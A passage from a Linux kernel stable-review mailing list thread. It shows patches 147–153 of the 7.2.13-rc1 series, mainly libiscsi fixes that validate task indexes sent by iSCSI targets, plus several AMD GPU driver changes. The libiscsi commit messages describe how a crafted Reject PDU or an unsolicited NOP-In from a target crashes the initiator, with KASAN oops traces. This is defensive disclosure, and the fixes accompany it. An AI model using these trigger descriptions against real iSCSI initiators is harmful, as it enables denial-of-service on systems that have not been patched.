session->tt->parse_pdu_itt(conn, itt, &i, NULL);
else
i = get_itt(itt);
- if (i >= session->cmds_max)
+ if (i < 0 || i >= session->cmds_max)
return NULL;
return session->cmds[i];
@@ -1384,7 +1384,7 @@ int iscsi_verify_itt(struct iscsi_conn *
return ISCSI_ERR_BAD_ITT;
}
- if (i >= session->cmds_max) {
+ if (i < 0 || i >= session->cmds_max) {
iscsi_conn_printk(KERN_ERR, conn,
"received invalid itt index %u (max cmds "
"%u.\n", i, session->cmds_max);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 148/242] scsi: libiscsi: Validate the ITT reflected in a Reject PDU
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (144 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 147/242] scsi: libiscsi: Reject a negative task index from parse_pdu_itt Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 149/242] scsi: libiscsi: Validate the task named by a management response Greg Kroah-Hartman
` (95 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mike Christie, Yehyeong Lee,
Martin K. Petersen (Oracle)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
commit c5958c770b2a0ee492414e26b07da9164a0d1f5d upstream.
A Reject PDU carries a copy of the header it rejects, and
iscsi_handle_reject() takes the ITT out of that copy to find the task to
clean up:
memcpy(&rejected_pdu, data, sizeof(struct iscsi_hdr));
...
task = iscsi_itt_to_task(conn, rejected_pdu.itt);
That value is whatever the target put there. iscsi_itt_to_task() bounds
the index against cmds_max and checks nothing else, so any task in the
pool can be named, and iscsi_nop_out_rsp() then completes it.
An index that has never been used gives a NULL task->conn: the pool is
zeroed at session setup and conn is assigned only when a task is
allocated. If the task was used and returned, iscsi_complete_task() hits
its WARN_ON_ONCE(task->state == ISCSI_TASK_FREE) and the refcount
underflows. An in-flight SCSI command is completed as successful - a 1
MiB read returned 1048576 with none of its buffer written and no
warning.
Validate the reflected ITT the way iscsi_itt_to_ctask() validates a
command ITT, and require the task to be in flight and not a SCSI
command.
[ 6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI
[ 6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]
[ 6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)
[ 6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160
[ 6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00
[ 6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206
[ 6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25
[ 6.253345] RDX: 000000000000000c RSI: ffff88806c907c38 RDI: 0000000000000060
[ 6.253642] RBP: 0000000000000000 R08: 0000000000000000 R09: fffffbfff235a504
[ 6.253947] R10: 0000000000000003 R11: 7463656e6e6f6320 R12: 0000000000000000
[ 6.254251] R13: 0000000000000000 R14: ffff88806c907c38 R15: 0000000000000000
[ 6.254549] FS: 0000000000000000(0000) GS:ffff8880d95bc000(0000) knlGS:0000000000000000
[ 6.254887] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6.255140] CR2: 00007fc393e8ffc0 CR3: 0000000005252006 CR4: 0000000000770ef0
[ 6.255439] PKRU: 55555554
[ 6.255564] Call Trace:
[ 6.255674] <IRQ>
[ 6.255768] __iscsi_complete_pdu+0x18bf/0x22a0
[ 6.256733] iscsi_complete_pdu+0x54/0xa0
[ 6.256905] iscsi_tcp_data_recv_done+0xf4/0x250
[ 6.257103] iscsi_tcp_recv_skb+0x31e/0xec0
[ 6.257680] iscsi_sw_tcp_recv+0x12f/0x390
[ 6.258061] __tcp_read_sock+0x1ab/0x810
[ 6.258853] iscsi_sw_tcp_data_ready+0x18b/0x510
[ 6.259808] tcp_data_queue+0x1f13/0x4cd0
[ 6.260567] tcp_rcv_established+0x8a5/0x3a00
[ 6.261931] tcp_v4_do_rcv+0x449/0x960
[ 6.262269] tcp_v4_rcv+0x2245/0x3bc0
Fixes: 8afa1439fcff ("[SCSI] libiscsi: handle immediate command rejections")
Cc: stable@vger.kernel.org
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Link: https://patch.msgid.link/20261007015842.634893-3-yhlee@isslab.korea.ac.kr
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/libiscsi.c | 8 +++++---
1 file changed, 5 insertions(+), 3 deletions(-)
--- a/drivers/scsi/libiscsi.c
+++ b/drivers/scsi/libiscsi.c
@@ -1142,13 +1142,15 @@ static int iscsi_handle_reject(struct is
spin_unlock(&conn->session->frwd_lock);
spin_lock(&conn->session->back_lock);
} else {
- struct iscsi_task *task;
+ struct iscsi_task *task = NULL;
/*
* Our nop as ping got dropped. We know the target
* and transport are ok so just clean up
*/
- task = iscsi_itt_to_task(conn, rejected_pdu.itt);
- if (!task) {
+ if (!iscsi_verify_itt(conn, rejected_pdu.itt))
+ task = iscsi_itt_to_task(conn, rejected_pdu.itt);
+ if (!task || task->state == ISCSI_TASK_FREE ||
+ task->sc) {
iscsi_conn_printk(KERN_ERR, conn,
"Invalid pdu reject. Could "
"not lookup rejected task.\n");
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 149/242] scsi: libiscsi: Validate the task named by a management response
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (145 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 148/242] scsi: libiscsi: Validate the ITT reflected in a Reject PDU Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 150/242] drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions Greg Kroah-Hartman
` (94 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Mike Christie, Yehyeong Lee,
Martin K. Petersen (Oracle)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
commit 11bffcd9cb346732eab2914ef44fe777a3f0b585 upstream.
__iscsi_complete_pdu() fetches the task for five response types from one
place and checks only that the index resolved:
case ISCSI_OP_LOGOUT_RSP:
case ISCSI_OP_LOGIN_RSP:
case ISCSI_OP_TEXT_RSP:
case ISCSI_OP_SCSI_TMFUNC_RSP:
case ISCSI_OP_NOOP_IN:
task = iscsi_itt_to_task(conn, hdr->itt);
if (!task)
return ISCSI_ERR_BAD_ITT;
iscsi_itt_to_task() bounds the index against cmds_max and looks at
nothing else, so a target can name any slot in the pool, including one
that has never been used. task->conn is then NULL, and both
iscsi_nop_out_rsp() and iscsi_complete_task() dereference it. One
unsolicited NOP-In is enough; a Text Response carrying the same ITT
crashes in iscsi_complete_task() instead.
Require the task to be in flight and not a SCSI command, the way
iscsi_itt_to_ctask() does for the command opcodes.
[ 6.298634] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI
[ 6.298642] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]
[ 6.298652] CPU: 1 UID: 0 PID: 111 Comm: iscsistart Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy)
[ 6.298654] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 6.298656] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160
[ 6.298691] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00
[ 6.298698] RSP: 0018:ffff88806c907be8 EFLAGS: 00010206
[ 6.298701] RAX: dffffc0000000000 RBX: ffff888006116800 RCX: 0000000000000020
[ 6.298702] RDX: 000000000000000c RSI: ffff88800525d578 RDI: 0000000000000060
[ 6.298703] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 6.298706] R10: 0000000000000020 R11: 0000000000000000 R12: 0000000000000000
[ 6.298706] R13: 000000000000002e R14: ffff8880056eb440 R15: ffff888006116800
[ 6.298707] FS: 00007fc02d1c2740(0000) GS:ffff8880b29bc000(0000) knlGS:0000000000000000
[ 6.298710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6.298711] CR2: 000055fe3b56ddf8 CR3: 00000000053b9004 CR4: 0000000000770ef0
[ 6.298712] PKRU: 55555554
[ 6.298713] Call Trace:
[ 6.298714] <IRQ>
[ 6.298714] __iscsi_complete_pdu+0x13a8/0x22a0
[ 6.298758] iscsi_complete_pdu+0x54/0xa0
[ 6.298759] iscsi_tcp_hdr_recv_done+0x870/0x2c80
[ 6.298778] iscsi_tcp_recv_skb+0x31e/0xec0
[ 6.298800] iscsi_sw_tcp_recv+0x12f/0x390
[ 6.298804] __tcp_read_sock+0x1ab/0x810
[ 6.298812] iscsi_sw_tcp_data_ready+0x18b/0x510
[ 6.298814] tcp_rcv_established+0x1f56/0x3a00
[ 6.298842] tcp_v4_do_rcv+0x449/0x960
[ 6.298847] tcp_v4_rcv+0x2245/0x3bc0
Fixes: 7996a778ff8c ("[SCSI] iscsi: add libiscsi")
Cc: stable@vger.kernel.org
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Signed-off-by: Yehyeong Lee <yhlee@isslab.korea.ac.kr>
Link: https://patch.msgid.link/20261007015842.634893-4-yhlee@isslab.korea.ac.kr
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/libiscsi.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/drivers/scsi/libiscsi.c
+++ b/drivers/scsi/libiscsi.c
@@ -1286,7 +1286,7 @@ int __iscsi_complete_pdu(struct iscsi_co
case ISCSI_OP_SCSI_TMFUNC_RSP:
case ISCSI_OP_NOOP_IN:
task = iscsi_itt_to_task(conn, hdr->itt);
- if (!task)
+ if (!task || task->state == ISCSI_TASK_FREE || task->sc)
return ISCSI_ERR_BAD_ITT;
break;
default:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 150/242] drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (146 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 149/242] scsi: libiscsi: Validate the task named by a management response Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 151/242] drm/amd/pm: add zero fan stop temperature support on smu 14.0.2 Greg Kroah-Hartman
` (93 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dan Carpenter, Nicholas Kazlauskas,
Dominik Kaszewski, George Zhang, Aurabindo Pillai, Roman Li,
Ivan Lipski, Dan Wheeler, Alex Hung, Tom Chung,
Srinivasan Shanmugam, Roman Li, Alex Deucher
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Srinivasan Shanmugam <srinivasan.shanmugam@amd.com>
commit 55a67aa89342545b89f469dea6f29bfb6fac6f3d upstream.
allocate_usb4_bandwidth_for_stream() and allocate_usb4_bandwidth() both
use ASSERT(stream->sink) before dereferencing stream->sink->link. ASSERT
is compiled out in production builds, so a NULL stream->sink causes a
NULL pointer dereference.
link_set_dpms_off() already guards two earlier accesses to stream->sink
with explicit NULL checks, confirming that stream->sink can legitimately
be NULL. The subsequent call to deallocate_usb4_bandwidth() had no
equivalent guard.
Replace the ASSERT() calls with proper NULL checks that return false
early, and add a matching stream->sink guard at the call site in
link_set_dpms_off() consistent with the surrounding pattern.
v2: Keep the existing ASSERT() calls for diagnostics (to report
unexpected NULL sink), and add explicit NULL checks that return false
before dereferencing stream->sink. Also add a matching stream->sink
guard at the deallocation call site in link_set_dpms_off(). (Alex)
Fixes: 8fa813b7fd1e ("drm/amd/display: Remove sink usage from DPMS")
Reported-by: Dan Carpenter <error27@gmail.com>
Cc: Nicholas Kazlauskas <nicholas.kazlauskas@amd.com>
Cc: Dominik Kaszewski <dominik.kaszewski@amd.com>
Cc: George Zhang <george.zhang@amd.com>
Cc: Aurabindo Pillai <aurabindo.pillai@amd.com>
Cc: Roman Li <Roman.Li@amd.com>
Cc: Ivan Lipski <ivan.lipski@amd.com>
Cc: Dan Wheeler <daniel.wheeler@amd.com>
Cc: Alex Hung <alex.hung@amd.com>
Cc: Tom Chung <chiahsuan.chung@amd.com>
Signed-off-by: Srinivasan Shanmugam <srinivasan.shanmugam@amd.com>
Tested-by: Dan Wheeler <daniel.wheeler@amd.com>
Reviewed-by: Roman Li <roman.li@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 98029a0ce61feb52c563f65349dd9b25f672e355)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/display/dc/link/link_dpms.c | 18 ++++++++++++++----
1 file changed, 14 insertions(+), 4 deletions(-)
--- a/drivers/gpu/drm/amd/display/dc/link/link_dpms.c
+++ b/drivers/gpu/drm/amd/display/dc/link/link_dpms.c
@@ -2298,9 +2298,14 @@ static bool allocate_usb4_bandwidth_for_
{
ASSERT(stream->sink);
- struct dc_link *link = stream->sink->link;
+ struct dc_link *link;
int req_bw = stream_bw;
+ if (!stream->sink)
+ return false;
+
+ link = stream->sink->link;
+
DC_LOGGER_INIT(link->ctx->logger);
if (!link->dpia_bw_alloc_config.bw_alloc_enabled)
@@ -2347,9 +2352,13 @@ static bool allocate_usb4_bandwidth(stru
ASSERT(stream->sink);
bool ret;
+ int bw;
+
+ if (!stream->sink)
+ return false;
- int bw = dc_bandwidth_in_kbps_from_timing(&stream->timing,
- dc_link_get_highest_encoding_format(stream->sink->link));
+ bw = dc_bandwidth_in_kbps_from_timing(&stream->timing,
+ dc_link_get_highest_encoding_format(stream->sink->link));
ret = allocate_usb4_bandwidth_for_stream(stream, bw);
@@ -2410,7 +2419,8 @@ void link_set_dpms_off(struct pipe_ctx *
update_psp_stream_config(pipe_ctx, true);
dc->hwss.blank_stream(pipe_ctx);
- if (pipe_ctx->link_config.dp_tunnel_settings.should_use_dp_bw_allocation)
+ if (pipe_ctx->link_config.dp_tunnel_settings.should_use_dp_bw_allocation &&
+ stream->sink)
deallocate_usb4_bandwidth(stream);
if (stream->signal == SIGNAL_TYPE_DISPLAY_PORT_MST)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 151/242] drm/amd/pm: add zero fan stop temperature support on smu 14.0.2
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (147 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 150/242] drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 152/242] drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang Greg Kroah-Hartman
` (92 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Kenneth Feng, Kevin Wang,
Alex Deucher
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kenneth Feng <kenneth.feng@amd.com>
commit a2eae9f4fa1b07f8e6e61b48931228da051943f0 upstream.
add zero fan stop temperature support on smu 14.0.2
Closes: https://gitlab.freedesktop.org/drm/amd/-/work_items/5905
Signed-off-by: Kenneth Feng <kenneth.feng@amd.com>
Reviewed-by: Kevin Wang <kevin.wang@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit f990c94a2633d0ead477eb1b174e254a6d292e66)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c | 55 ++++++++++++++++++-
1 file changed, 54 insertions(+), 1 deletion(-)
--- a/drivers/gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c
@@ -86,6 +86,7 @@ static const struct smu_feature_bits smu
#define PP_OD_FEATURE_FAN_TARGET_TEMPERATURE 9
#define PP_OD_FEATURE_FAN_MINIMUM_PWM 10
#define PP_OD_FEATURE_FAN_ZERO_RPM_ENABLE 11
+#define PP_OD_FEATURE_FAN_ZERO_RPM_STOP_TEMP 12
static struct cmn2asic_msg_mapping smu_v14_0_2_message_map[SMU_MSG_MAX_COUNT] = {
MSG_MAP(TestMessage, PPSMC_MSG_TestMessage, 1),
@@ -1017,6 +1018,10 @@ static void smu_v14_0_2_get_od_setting_l
od_min_setting = overdrive_lowerlimits->FanZeroRpmEnable;
od_max_setting = overdrive_upperlimits->FanZeroRpmEnable;
break;
+ case PP_OD_FEATURE_FAN_ZERO_RPM_STOP_TEMP:
+ od_min_setting = pptable->SkuTable.MsgLimits.FanStopTempMin;
+ od_max_setting = pptable->SkuTable.MsgLimits.FanStopTempMax;
+ break;
default:
od_min_setting = od_max_setting = INT_MAX;
break;
@@ -1241,6 +1246,24 @@ static int smu_v14_0_2_emit_clk_levels(s
min_value, max_value);
break;
+ case SMU_OD_FAN_ZERO_RPM_STOP_TEMP:
+ if (!smu_v14_0_2_is_od_feature_supported(smu,
+ PP_OD_FEATURE_ZERO_FAN_BIT))
+ break;
+
+ size += sysfs_emit_at(buf, size, "FAN_ZERO_RPM_STOP_TEMPERATURE:\n");
+ size += sysfs_emit_at(buf, size, "%d\n",
+ (int)od_table->OverDriveTable.FanZeroRpmStopTemp);
+
+ size += sysfs_emit_at(buf, size, "%s:\n", "OD_RANGE");
+ smu_v14_0_2_get_od_setting_limits(smu,
+ PP_OD_FEATURE_FAN_ZERO_RPM_STOP_TEMP,
+ &min_value,
+ &max_value);
+ size += sysfs_emit_at(buf, size, "ZERO_RPM_STOP_TEMPERATURE: %u %u\n",
+ min_value, max_value);
+ break;
+
case SMU_OD_RANGE:
if (!smu_v14_0_2_is_od_feature_supported(smu, PP_OD_FEATURE_GFXCLK_BIT) &&
!smu_v14_0_2_is_od_feature_supported(smu, PP_OD_FEATURE_UCLK_BIT) &&
@@ -2293,7 +2316,9 @@ static void smu_v14_0_2_set_supported_od
OD_OPS_SUPPORT_FAN_MINIMUM_PWM_RETRIEVE |
OD_OPS_SUPPORT_FAN_MINIMUM_PWM_SET |
OD_OPS_SUPPORT_FAN_ZERO_RPM_ENABLE_RETRIEVE |
- OD_OPS_SUPPORT_FAN_ZERO_RPM_ENABLE_SET;
+ OD_OPS_SUPPORT_FAN_ZERO_RPM_ENABLE_SET |
+ OD_OPS_SUPPORT_FAN_ZERO_RPM_STOP_TEMP_RETRIEVE |
+ OD_OPS_SUPPORT_FAN_ZERO_RPM_STOP_TEMP_SET;
}
static int smu_v14_0_2_get_overdrive_table(struct smu_context *smu,
@@ -2374,6 +2399,8 @@ static int smu_v14_0_2_set_default_od_se
user_od_table_bak.OverDriveTable.FanMinimumPwm;
user_od_table->OverDriveTable.FanZeroRpmEnable =
user_od_table_bak.OverDriveTable.FanZeroRpmEnable;
+ user_od_table->OverDriveTable.FanZeroRpmStopTemp =
+ user_od_table_bak.OverDriveTable.FanZeroRpmStopTemp;
}
smu_v14_0_2_set_supported_od_feature_mask(smu);
@@ -2428,6 +2455,11 @@ static int smu_v14_0_2_od_restore_table_
boot_overdrive_table->OverDriveTable.FanZeroRpmEnable;
od_table->OverDriveTable.FeatureCtrlMask |= BIT(PP_OD_FEATURE_ZERO_FAN_BIT);
break;
+ case PP_OD_EDIT_FAN_ZERO_RPM_STOP_TEMP:
+ od_table->OverDriveTable.FanZeroRpmStopTemp =
+ boot_overdrive_table->OverDriveTable.FanZeroRpmStopTemp;
+ od_table->OverDriveTable.FeatureCtrlMask |= BIT(PP_OD_FEATURE_ZERO_FAN_BIT);
+ break;
case PP_OD_EDIT_ACOUSTIC_LIMIT:
od_table->OverDriveTable.AcousticLimitRpmThreshold =
boot_overdrive_table->OverDriveTable.AcousticLimitRpmThreshold;
@@ -2734,6 +2766,27 @@ static int smu_v14_0_2_od_edit_dpm_table
od_table->OverDriveTable.FeatureCtrlMask |= BIT(PP_OD_FEATURE_ZERO_FAN_BIT);
break;
+ case PP_OD_EDIT_FAN_ZERO_RPM_STOP_TEMP:
+ if (!smu_v14_0_2_is_od_feature_supported(smu, PP_OD_FEATURE_ZERO_FAN_BIT)) {
+ dev_warn(adev->dev, "Zero RPM setting not supported!\n");
+ return -ENOTSUPP;
+ }
+
+ smu_v14_0_2_get_od_setting_limits(smu,
+ PP_OD_FEATURE_FAN_ZERO_RPM_STOP_TEMP,
+ &minimum,
+ &maximum);
+ if (input[0] < minimum ||
+ input[0] > maximum) {
+ dev_info(adev->dev, "zero RPM stop temperature setting(%ld) must be within [%d, %d]!\n",
+ input[0], minimum, maximum);
+ return -EINVAL;
+ }
+
+ od_table->OverDriveTable.FanZeroRpmStopTemp = input[0];
+ od_table->OverDriveTable.FeatureCtrlMask |= BIT(PP_OD_FEATURE_ZERO_FAN_BIT);
+ break;
+
case PP_OD_RESTORE_DEFAULT_TABLE:
if (size == 1) {
ret = smu_v14_0_2_od_restore_table_single(smu, input[0]);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 152/242] drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (148 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 151/242] drm/amd/pm: add zero fan stop temperature support on smu 14.0.2 Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 153/242] drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set Greg Kroah-Hartman
` (91 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Alex Deucher, Timur Kristóf
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Timur Kristóf <timur.kristof@gmail.com>
commit 752480ad62964edf0254e151110d3e53a7cb37de upstream.
SDMA can randomly hang on Polaris 10. Hard to reproduce,
but has been occurring sporadically in the Mesa CI
on the RADV Polaris 10 job even when Mesa isn't using
the SDMA engine.
When Mesa actually uses the SDMA on Polaris, the hang
becomes more frequent and the reproduction rate goes up
significantly in the CI system.
We don't know why the hangs occur, but it seems
that inserting a single NOP packet before each
POLL_REGMEM and FENCE packet works around it.
At the moment it's unclear which GPUs are affected,
so let's apply this to SDMA 3.x for now.
Note that this issue is not documented or acknowledged by AMD.
Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Timur Kristóf <timur.kristof@gmail.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit c343a27ed90823d08de125f7c447d96d056b75d9)
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 25 +++++++++++++++++++++----
1 file changed, 21 insertions(+), 4 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c
@@ -456,6 +456,9 @@ static void sdma_v3_0_ring_emit_hdp_flus
else
ref_and_mask = REG_SET_FIELD(ref_and_mask, GPU_HDP_FLUSH_DONE, SDMA1, 1);
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_POLL_REGMEM) |
SDMA_PKT_POLL_REGMEM_HEADER_HDP_FLUSH(1) |
SDMA_PKT_POLL_REGMEM_HEADER_FUNC(3)); /* == */
@@ -483,6 +486,10 @@ static void sdma_v3_0_ring_emit_fence(st
unsigned flags)
{
bool write64bit = flags & AMDGPU_FENCE_FLAG_64BIT;
+
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
/* write the fence */
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_FENCE));
amdgpu_ring_write(ring, lower_32_bits(addr));
@@ -491,7 +498,11 @@ static void sdma_v3_0_ring_emit_fence(st
/* optionally write high bits as well */
if (write64bit) {
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
addr += 4;
+
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_FENCE));
amdgpu_ring_write(ring, lower_32_bits(addr));
amdgpu_ring_write(ring, upper_32_bits(addr));
@@ -1032,6 +1043,9 @@ static void sdma_v3_0_ring_emit_pipeline
uint32_t seq = ring->fence_drv.sync_seq;
uint64_t addr = ring->fence_drv.gpu_addr;
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
/* wait for idle */
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_POLL_REGMEM) |
SDMA_PKT_POLL_REGMEM_HEADER_HDP_FLUSH(0) |
@@ -1060,6 +1074,9 @@ static void sdma_v3_0_ring_emit_vm_flush
{
amdgpu_gmc_emit_flush_gpu_tlb(ring, vmid, pd_addr);
+ /* Hang workaround */
+ amdgpu_ring_write(ring, SDMA_PKT_NOP_HEADER_OP(SDMA_OP_NOP));
+
/* wait for flush */
amdgpu_ring_write(ring, SDMA_PKT_HEADER_OP(SDMA_OP_POLL_REGMEM) |
SDMA_PKT_POLL_REGMEM_HEADER_HDP_FLUSH(0) |
@@ -1571,11 +1588,11 @@ static const struct amdgpu_ring_funcs sd
.get_wptr = sdma_v3_0_ring_get_wptr,
.set_wptr = sdma_v3_0_ring_set_wptr,
.emit_frame_size =
- 6 + /* sdma_v3_0_ring_emit_hdp_flush */
+ 6 + 1 + /* sdma_v3_0_ring_emit_hdp_flush */
3 + /* hdp invalidate */
- 6 + /* sdma_v3_0_ring_emit_pipeline_sync */
- VI_FLUSH_GPU_TLB_NUM_WREG * 3 + 6 + /* sdma_v3_0_ring_emit_vm_flush */
- 10 + 10 + 10, /* sdma_v3_0_ring_emit_fence x3 for user fence, vm fence */
+ 6 + 1 + /* sdma_v3_0_ring_emit_pipeline_sync */
+ VI_FLUSH_GPU_TLB_NUM_WREG * 3 + 6 + 1 + /* sdma_v3_0_ring_emit_vm_flush */
+ (10 + 1) * 3, /* sdma_v3_0_ring_emit_fence x3 for user fence, vm fence */
.emit_ib_size = 7 + 6, /* sdma_v3_0_ring_emit_ib */
.emit_ib = sdma_v3_0_ring_emit_ib,
.emit_fence = sdma_v3_0_ring_emit_fence,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 153/242] drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (149 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 152/242] drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 154/242] drm/amdgpu: destroy mutex when tearing down ttm buffer entity Greg Kroah-Hartman
` (90 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Timur Kristóf,
Mario Limonciello, Alex Deucher
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Timur Kristóf <timur.kristof@gmail.com>
commit 800ea86e83e137395eba54103e5c459c2bc9965f upstream.
